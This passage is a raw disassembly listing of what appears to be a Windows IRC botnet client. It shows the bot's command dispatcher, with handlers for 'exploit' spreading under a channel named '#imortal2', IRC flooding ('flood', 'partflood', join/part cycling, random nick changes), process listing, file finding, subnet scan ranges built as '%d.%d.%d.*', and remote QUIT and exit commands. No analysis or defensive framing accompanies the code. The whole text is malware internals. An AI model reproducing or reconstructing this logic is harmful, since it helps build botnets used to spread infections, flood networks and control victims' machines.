; sub_40274D+234Ej ...
add esp, 10h
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_404D17: ; CODE XREF: sub_40274D+1581j
; sub_40274D+1596j
cmp [ebp+4Ch+var_18], ebx
mov [ebp+4Ch+var_159C], bl
jz short loc_404D53
mov esi, [ebp+esi+4Ch+var_A0]
cmp esi, ebx
jz short loc_404D53
push esi
push [ebp+4Ch+var_18]
call sub_41F090
cmp eax, ebx
pop ecx
pop ecx
jz short loc_404D53
push eax
push offset aS ; "%s"
lea eax, [ebp+4Ch+var_159C]
push 80h
push eax
call sub_41E6FE
add esp, 10h
loc_404D53: ; CODE XREF: sub_40274D+25D3j
; sub_40274D+25DBj ...
push [ebp+4Ch+var_9C]
lea eax, [ebp+4Ch+var_161C]
push 80h
push eax
call sub_41E6FE
mov eax, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_1620], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_1518], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_1514], eax
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42ED5C
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 25h
push eax
call sub_40AE85
add esp, 20h
mov [ebp+4Ch+var_151C], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_1620]
push eax
push offset byte_417E51
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_151C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_404DF3
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42ED24
jmp loc_40A211
; ---------------------------------------------------------------------------
loc_404DEB: ; CODE XREF: sub_40274D+26ACj
push 32h
call ds:dword_42B014 ; Sleep
loc_404DF3: ; CODE XREF: sub_40274D+268Bj
cmp [ebp+4Ch+var_1510], ebx
jz short loc_404DEB
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_404E00: ; CODE XREF: sub_40274D+1557j
; sub_40274D+156Cj
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_417CF8
push offset dword_42ED0C
call sub_417D70
jmp loc_404976
; ---------------------------------------------------------------------------
loc_404E1D: ; CODE XREF: sub_40274D+152Dj
; sub_40274D+1542j
push [ebp+4Ch+var_9C]
lea eax, [ebp+4Ch+var_B34]
push 80h
push eax
call sub_41E6FE
mov eax, [ebp+4Ch+arg_4]
mov esi, [ebp+esi+4Ch+var_A0]
mov [ebp+4Ch+var_B38], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_AAC], eax
mov eax, [ebp+4Ch+var_C]
add esp, 0Ch
cmp esi, ebx
mov [ebp+4Ch+var_AA8], eax
jz short loc_404E71
push offset dword_42ED08
push esi
call sub_41E990
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+4Ch+var_AB0], eax
jmp short loc_404E77
; ---------------------------------------------------------------------------
loc_404E71: ; CODE XREF: sub_40274D+2708j
mov [ebp+4Ch+var_AB0], ebx
loc_404E77: ; CODE XREF: sub_40274D+2722j
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42ECE8
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 28h
push eax
call sub_40AE85
add esp, 14h
mov [ebp+4Ch+var_AB4], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_B38]
push eax
push offset aUnlMbS ; "Ul$Œì˜"
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_AB4]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_404EE8
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42ECAC
jmp loc_409AC1
; ---------------------------------------------------------------------------
loc_404EE0: ; CODE XREF: sub_40274D+27A1j
push 32h
call ds:dword_42B014 ; Sleep
loc_404EE8: ; CODE XREF: sub_40274D+2780j
cmp [ebp+4Ch+var_AA4], ebx
jz short loc_404EE0
jmp loc_406C6B
; ---------------------------------------------------------------------------
loc_404EF5: ; CODE XREF: sub_40274D+14B4j
; sub_40274D+14C9j
push offset aIiknc ; "iiKnc"
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42EC94
push eax
call sub_41E6A6
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 20h
jmp loc_406C6B
; ---------------------------------------------------------------------------
loc_404F29: ; CODE XREF: sub_40274D+148Aj
; sub_40274D+149Fj
push ds:dword_4D1FD0
call sub_41D5F8
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42EC68
push eax
call sub_41E6A6
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 24h
jmp loc_406C6B
; ---------------------------------------------------------------------------
loc_404F64: ; CODE XREF: sub_40274D+1460j
; sub_40274D+1475j
mov esi, [ebp+esi+4Ch+var_A0]
cmp esi, ebx
jz short loc_404F93
cmp [ebp+4Ch+var_18], ebx
jz short loc_404FA2
push esi
push [ebp+4Ch+var_18]
call sub_41F090
cmp eax, ebx
pop ecx
pop ecx
jz short loc_404FA2
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
add esp, 0Ch
jmp short loc_404FA2
; ---------------------------------------------------------------------------
loc_404F93: ; CODE XREF: sub_40274D+281Dj
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
pop ecx
pop ecx
loc_404FA2: ; CODE XREF: sub_40274D+2822j
; sub_40274D+2831j ...
push 0FFFFFFFEh
pop eax
jmp loc_402B95
; ---------------------------------------------------------------------------
loc_404FAA: ; CODE XREF: sub_40274D+1436j
; sub_40274D+144Bj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
push offset dword_42EC18
call sub_417D70
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_402B95
; ---------------------------------------------------------------------------
loc_404FCC: ; CODE XREF: sub_40274D+140Cj
; sub_40274D+1421j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+4Ch+arg_4]
call sub_4011F5
push offset dword_42EBE4
call sub_417D70
add esp, 0Ch
loc_404FE6: ; CODE XREF: sub_40274D+7915j
xor eax, eax
jmp loc_402B95
; ---------------------------------------------------------------------------
loc_404FED: ; CODE XREF: sub_40274D+13E2j
; sub_40274D+13F7j
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40B553
jmp loc_409DE9
; ---------------------------------------------------------------------------
loc_405000: ; CODE XREF: sub_40274D+13B8j
; sub_40274D+13CDj
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40B4FF
jmp loc_409DE9
; ---------------------------------------------------------------------------
loc_405013: ; CODE XREF: sub_40274D+138Ej
; sub_40274D+13A3j
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40B494
jmp loc_409DE9
; ---------------------------------------------------------------------------
loc_405026: ; CODE XREF: sub_40274D+1364j
; sub_40274D+1379j
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40B3C5
jmp loc_409DE9
; ---------------------------------------------------------------------------
loc_405039: ; CODE XREF: sub_40274D+12C8j
; sub_40274D+12DDj
push [ebp+esi+4Ch+var_A0]
push 27h
push offset aProcessList ; "Process list"
push offset dword_42EBC4
jmp short loc_40505B
; ---------------------------------------------------------------------------
loc_40504B: ; CODE XREF: sub_40274D+129Ej
; sub_40274D+12B3j
push [ebp+esi+4Ch+var_A0]
push 24h
push offset aFindFile ; "Find file"
push offset dword_42EBA8
loc_40505B: ; CODE XREF: sub_40274D+EF1j
; sub_40274D+F41j ...
push [ebp+4Ch+var_C]
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40B0BB
add esp, 20h
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_405074: ; CODE XREF: sub_40274D+F05j
; sub_40274D+F1Aj
mov edi, [ebp+esi+4Ch+var_A0]
cmp edi, ebx
jz short loc_405090
push edi
call sub_41E7AD
test eax, eax
pop ecx
jz short loc_405090
push edi
call sub_41E7AD
pop ecx
jmp short loc_405095
; ---------------------------------------------------------------------------
loc_405090: ; CODE XREF: sub_40274D+292Dj
; sub_40274D+2938j
mov eax, ds:dword_43C070
loc_405095: ; CODE XREF: sub_40274D+2941j
mov esi, [ebp+esi+4Ch+var_9C]
cmp esi, ebx
mov [ebp+4Ch+var_598], eax
jz short loc_4050B7
push esi
loc_4050A4: ; CODE XREF: sub_40274D+2979j
lea eax, [ebp+4Ch+var_5A8]
push 10h
push eax
call sub_41E6FE
add esp, 0Ch
jmp short loc_4050CE
; ---------------------------------------------------------------------------
loc_4050B7: ; CODE XREF: sub_40274D+2954j
cmp [ebp+4Ch+var_907], bl
jz short loc_4050C8
lea eax, [ebp+4Ch+var_D0]
push eax
jmp short loc_4050A4
; ---------------------------------------------------------------------------
loc_4050C8: ; CODE XREF: sub_40274D+2970j
mov [ebp+4Ch+var_5A8], bl
loc_4050CE: ; CODE XREF: sub_40274D+2968j
mov eax, [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
mov esi, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_58C], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_588], eax
lea eax, [ebp+4Ch+var_628]
push 80h
push eax
mov [ebp+4Ch+var_62C], esi
call sub_41E6FE
add esp, 0Ch
push [ebp+4Ch+var_598]
push esi
call sub_4023C9
pop ecx
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42EB80
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 19h
push eax
call sub_40AE85
add esp, 1Ch
mov [ebp+4Ch+var_594], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_62C]
push eax
push offset word_4144B2
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_594]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_40517F
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset dword_42EB44
jmp loc_40A211
; ---------------------------------------------------------------------------
loc_405177: ; CODE XREF: sub_40274D+2A38j
push 32h
call ds:dword_42B014 ; Sleep
loc_40517F: ; CODE XREF: sub_40274D+2A17j
cmp [ebp+4Ch+var_584], ebx
jz short loc_405177
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_40518C: ; CODE XREF: sub_40274D+EB5j
; sub_40274D+ECAj
mov esi, [ebp+esi+4Ch+var_A0]
cmp esi, ebx
jz short loc_4051A9
push esi
call sub_41E7AD
test ax, ax
pop ecx
jz short loc_4051A9
push esi
call sub_41E7AD
pop ecx
jmp short loc_4051AF
; ---------------------------------------------------------------------------
loc_4051A9: ; CODE XREF: sub_40274D+2A45j
; sub_40274D+2A51j
mov ax, ds:word_43C080
loc_4051AF: ; CODE XREF: sub_40274D+2A5Aj
push [ebp+4Ch+var_9C]
mov esi, [ebp+4Ch+arg_4]
mov edi, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_984], ax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_974], eax
lea eax, [ebp+4Ch+var_A04]
push 80h
push eax
mov [ebp+4Ch+var_A08], esi
mov [ebp+4Ch+var_978], edi
call sub_41E6FE
movzx eax, [ebp+4Ch+var_984]
add esp, 0Ch
push eax
push esi
call sub_4023C9
pop ecx
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42EB18
push eax
call sub_41E6A6
push ebx
push edi
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push esi
call sub_40123B
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 6
push eax
call sub_40AE85
add esp, 30h
mov [ebp+4Ch+var_980], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_A08]
push eax
push offset loc_411555
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_980]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_40527B
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42EAD8
jmp loc_40A211
; ---------------------------------------------------------------------------
loc_405273: ; CODE XREF: sub_40274D+2B34j
push 32h
call ds:dword_42B014 ; Sleep
loc_40527B: ; CODE XREF: sub_40274D+2B13j
cmp [ebp+4Ch+var_970], ebx
jz short loc_405273
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_405288: ; CODE XREF: sub_40274D+E61j
; sub_40274D+E76j ...
push edi
push offset aSecure ; "secure"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_4052B0
push edi
push offset aSec ; "sec"
call sub_41E990
test eax, eax
pop ecx
pop ecx
mov [ebp+4Ch+var_A18], ebx
jnz short loc_4052BA
loc_4052B0: ; CODE XREF: sub_40274D+2B4Aj
mov [ebp+4Ch+var_A18], 1
loc_4052BA: ; CODE XREF: sub_40274D+2B61j
push [ebp+4Ch+var_9C]
lea eax, [ebp+4Ch+var_A9C]
push 80h
push eax
call sub_41E6FE
mov eax, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_AA0], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_A14], eax
mov eax, [ebp+4Ch+var_C]
add esp, 0Ch
cmp [ebp+4Ch+var_A18], ebx
mov [ebp+4Ch+var_A10], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_4052FE
mov eax, offset aUnsecuring ; "Unsecuring"
loc_4052FE: ; CODE XREF: sub_40274D+2BAAj
push eax
push offset dword_42EAA4
lea eax, [ebp+4Ch+var_2D0]
push 200h
push eax
call sub_41E6FE
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 22h
push eax
call sub_40AE85
add esp, 1Ch
mov [ebp+4Ch+var_A1C], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_AA0]
push eax
push offset aUnlMbS_0 ; "Ul$Œì˜"
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_A1C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_405375
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset dword_42EA68
jmp loc_408D01
; ---------------------------------------------------------------------------
loc_40536D: ; CODE XREF: sub_40274D+2C2Ej
push 32h
call ds:dword_42B014 ; Sleep
loc_405375: ; CODE XREF: sub_40274D+2C0Dj
cmp [ebp+4Ch+var_A0C], ebx
jz short loc_40536D
jmp loc_408D10
; ---------------------------------------------------------------------------
loc_405382: ; CODE XREF: sub_40274D+E37j
; sub_40274D+E4Cj
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_41D41B
jmp loc_409DE9
; ---------------------------------------------------------------------------
loc_405395: ; CODE XREF: sub_40274D+E0Dj
; sub_40274D+E22j
push offset unk_42E9B8
jmp loc_406C3F
; ---------------------------------------------------------------------------
loc_40539F: ; CODE XREF: sub_40274D+DE3j
; sub_40274D+DF8j
push offset aRx ; "rx"
push offset dword_42E9A4
jmp loc_4076D4
; ---------------------------------------------------------------------------
loc_4053AE: ; CODE XREF: sub_40274D+DB9j
; sub_40274D+DCEj
mov esi, [ebp+esi+4Ch+var_A0]
cmp esi, ebx
jz short loc_405407
push esi
call sub_41E7AD
cmp eax, ebx
pop ecx
jl short loc_4053FC
cmp eax, 3
jge short loc_4053FC
mov edx, [ebp+4Ch+arg_18]
mov ecx, eax
shl ecx, 7
lea esi, [ecx+edx]
cmp [esi], bl
jz short loc_4053F1
lea eax, [esi+1]
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42FC70
push eax
call sub_41E6A6
mov [esi], bl
jmp loc_40698A
; ---------------------------------------------------------------------------
loc_4053F1: ; CODE XREF: sub_40274D+2C86j
push eax
push offset unk_42E978
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_4053FC: ; CODE XREF: sub_40274D+2C72j
; sub_40274D+2C77j
push eax
push offset unk_42E94C
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_405407: ; CODE XREF: sub_40274D+2C67j
mov edi, [ebp+4Ch+arg_18]
xor esi, esi
loc_40540C: ; CODE XREF: sub_40274D+2CD8j
push [ebp+4Ch+var_A4]
push edi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_40542C
inc esi
add edi, 80h
cmp esi, 3
jl short loc_40540C
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_40542C: ; CODE XREF: sub_40274D+2CCCj
mov eax, [ebp+4Ch+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+4Ch+var_D0]
push eax
push offset unk_42FC70
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_405446: ; CODE XREF: sub_40274D+D8Fj
; sub_40274D+DA4j
push [ebp+4Ch+var_A0]
push offset dword_42FBF4
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_403F48
call sub_40AFF6
loc_405462: ; CODE XREF: sub_40274D+2552j
push ebx
call ds:dword_42B000 ; ExitProcess
loc_405469: ; CODE XREF: sub_40274D+1831j
push offset aGet_0 ; "get"
push esi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_40550F
cmp ds:dword_4D5898, ebx
jz short loc_405495
push offset dword_4D5698
push offset unk_42E910
jmp loc_405521
; ---------------------------------------------------------------------------
loc_405495: ; CODE XREF: sub_40274D+2D37j
push 10h
pop eax
push eax
mov [ebp+4Ch+var_2D8], eax
lea eax, [ebp+4Ch+var_2F0]
push ebx
push eax
call sub_41E5F0
add esp, 0Ch
lea eax, [ebp+4Ch+var_2D8]
push eax
lea eax, [ebp+4Ch+var_2F0]
push eax
push [ebp+4Ch+arg_4]
call ds:dword_42B220 ; getsockname
movzx eax, [ebp+4Ch+var_2EA]
push eax
movzx eax, [ebp+4Ch+var_2EB]
push eax
movzx eax, [ebp+4Ch+var_2EC]
push eax
lea eax, [ebp+4Ch+var_DB8]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_DB8]
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42E910
push eax
call sub_41E6A6
add esp, 20h
jmp loc_403F9D
; ---------------------------------------------------------------------------
loc_40550F: ; CODE XREF: sub_40274D+2D2Bj
push esi
call ds:dword_44417C ; inet_addr
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_405535
push offset unk_42E8D0
loc_405521: ; CODE XREF: sub_40274D+2D43j
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41E6A6
add esp, 0Ch
jmp loc_403F9D
; ---------------------------------------------------------------------------
loc_405535: ; CODE XREF: sub_40274D+2DCDj
push offset dword_4D5698
call sub_41EEC0
push esi
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42E8A4
push eax
mov ds:dword_4D5898, 1
call sub_41E6A6
add esp, 14h
jmp loc_403F9D
; ---------------------------------------------------------------------------
loc_405563: ; CODE XREF: sub_40274D+1819j
push edi
push offset aExploit ; "exploit"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_40565C
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_13EC], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_13E8], eax
mov eax, [ebp+4Ch+arg_4]
mov esi, offset aImortal2_0 ; "#imortal2"
push esi
mov [ebp+4Ch+var_13FC], eax
mov edi, 80h
lea eax, [ebp+4Ch+var_147C]
push edi
push eax
mov [ebp+4Ch+var_13F4], 1
call sub_41E6FE
push esi
lea eax, [ebp+4Ch+var_14FC]
push edi
push eax
call sub_41E6FE
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_150C]
push 10h
push eax
call sub_41E6FE
lea eax, [ebp+4Ch+var_150C]
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42E86C
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 8
push eax
call sub_40AE85
add esp, 3Ch
mov [ebp+4Ch+var_13F0], eax
lea eax, [ebp+4Ch+var_304]
push eax
push ebx
lea eax, [ebp+4Ch+var_150C]
push eax
push offset byte_40C15B
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_13F0]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_40564F
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42E82C
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_405647: ; CODE XREF: sub_40274D+2F08j
push 32h
call ds:dword_42B014 ; Sleep
loc_40564F: ; CODE XREF: sub_40274D+2EE7j
cmp [ebp+4Ch+var_13E4], ebx
jz short loc_405647
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_40565C: ; CODE XREF: sub_40274D+2E25j
push edi
push offset aReconnect_in ; "reconnect.in"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40A01D
push edi
push offset aRin ; "rin"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40A01D
push edi
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409FE3
push edi
push offset aRinms ; "rinms"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409FE3
push [ebp+4Ch+var_10]
push offset aFlood ; "flood"
call sub_41E990
test eax, eax
mov edi, ds:dword_42B014
pop ecx
pop ecx
jnz loc_406175
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
push [ebp+4Ch+var_8]
push offset aLoad ; "load"
call sub_41E990
add esp, 0Ch
test eax, eax
jnz short loc_405750
cmp [ebp+esi+4Ch+var_94], ebx
jz short loc_405750
push [ebp+esi+4Ch+var_94]
call sub_41E7AD
pop ecx
push eax
push [ebp+esi+4Ch+var_98]
call sub_41E7AD
pop ecx
push eax
push [ebp+esi+4Ch+var_9C]
call sub_41A954
push [ebp+esi+4Ch+var_98]
lea eax, [ebp+4Ch+var_2D0]
push [ebp+esi+4Ch+var_9C]
push [ebp+esi+4Ch+var_94]
push offset unk_42E7C4
push eax
call sub_41E6A6
add esp, 20h
cmp [ebp+4Ch+var_C], ebx
jnz short loc_405750
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 14h
loc_405750: ; CODE XREF: sub_40274D+2F9Ej
; sub_40274D+2FA4j ...
push [ebp+4Ch+var_8]
push offset aPm ; "pm"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_4057B3
mov eax, [ebp+esi+4Ch+var_98]
cmp eax, ebx
jz short loc_4057B3
push offset asc_42FCE0 ; " "
push offset a_ ; "_"
push eax
call sub_41AB7D
push eax
lea eax, [ebp+4Ch+var_50FC]
push eax
call sub_41EEC0
lea eax, [ebp+4Ch+var_50FC]
push eax
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 28h
loc_4057B3: ; CODE XREF: sub_40274D+3014j
; sub_40274D+301Cj
push [ebp+4Ch+var_8]
push offset dword_42E7A8
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_405816
mov eax, [ebp+esi+4Ch+var_98]
cmp eax, ebx
jz short loc_405816
push offset asc_42FCE0 ; " "
push offset a_ ; "_"
push eax
call sub_41AB7D
push eax
lea eax, [ebp+4Ch+var_4BF8]
push eax
call sub_41EEC0
lea eax, [ebp+4Ch+var_4BF8]
push eax
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42E794
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 28h
loc_405816: ; CODE XREF: sub_40274D+3077j
; sub_40274D+307Fj
push [ebp+4Ch+var_8]
push offset aNt ; "nt"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_405879
mov eax, [ebp+esi+4Ch+var_98]
cmp eax, ebx
jz short loc_405879
push offset asc_42FCE0 ; " "
push offset a_ ; "_"
push eax
call sub_41AB7D
push eax
lea eax, [ebp+4Ch+var_46F4]
push eax
call sub_41EEC0
lea eax, [ebp+4Ch+var_46F4]
push eax
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aNoticeSS_0 ; "notice %s :%s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 28h
loc_405879: ; CODE XREF: sub_40274D+30DAj
; sub_40274D+30E2j
push [ebp+4Ch+var_8]
push offset aMode ; "mode"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_4058DC
mov eax, [ebp+esi+4Ch+var_98]
cmp eax, ebx
jz short loc_4058DC
push offset asc_42FCE0 ; " "
push offset a_ ; "_"
push eax
call sub_41AB7D
push eax
lea eax, [ebp+4Ch+var_4DF8]
push eax
call sub_41EEC0
lea eax, [ebp+4Ch+var_4DF8]
push eax
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 28h
loc_4058DC: ; CODE XREF: sub_40274D+313Dj
; sub_40274D+3145j
push [ebp+4Ch+var_8]
push offset aJoin ; "join"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_405918
mov eax, [ebp+esi+4Ch+var_9C]
cmp eax, ebx
jz short loc_405918
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset aJoinS ; "join %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 10h
loc_405918: ; CODE XREF: sub_40274D+31A0j
; sub_40274D+31A8j
push [ebp+4Ch+var_8]
push offset aPart_0 ; "part"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_405954
mov eax, [ebp+esi+4Ch+var_9C]
cmp eax, ebx
jz short loc_405954
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset aPartS ; "part %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 10h
loc_405954: ; CODE XREF: sub_40274D+31DCj
; sub_40274D+31E4j
push [ebp+4Ch+var_8]
push offset aPartflood ; "partflood"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_405995
mov eax, [ebp+esi+4Ch+var_9C]
cmp eax, ebx
jz short loc_405995
push offset byte_42C60E
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset aPartSS ; "part %s %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 14h
loc_405995: ; CODE XREF: sub_40274D+3218j
; sub_40274D+3220j
push [ebp+4Ch+var_8]
push offset aPnick ; "pnick"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_405A04
cmp [ebp+esi+4Ch+var_9C], ebx
jz short loc_405A04
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
call sub_41ECDE
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+4Ch+var_1810]
push edx
push [ebp+esi+4Ch+var_9C]
push offset aSI ; "%s%i"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_1810]
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset aNickS_0 ; "NICK %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 24h
loc_405A04: ; CODE XREF: sub_40274D+3259j
; sub_40274D+325Fj
push [ebp+4Ch+var_8]
push offset aJoinPart ; "join/part"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_405B36
cmp [ebp+esi+4Ch+var_9C], ebx
jz loc_405B36
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aJoinS ; "join %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
push offset byte_42C60E
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aPartSS ; "part %s %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 24h
call sub_41ECDE
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aJoinS ; "join %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 10h
call sub_41ECDE
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset byte_42C60E
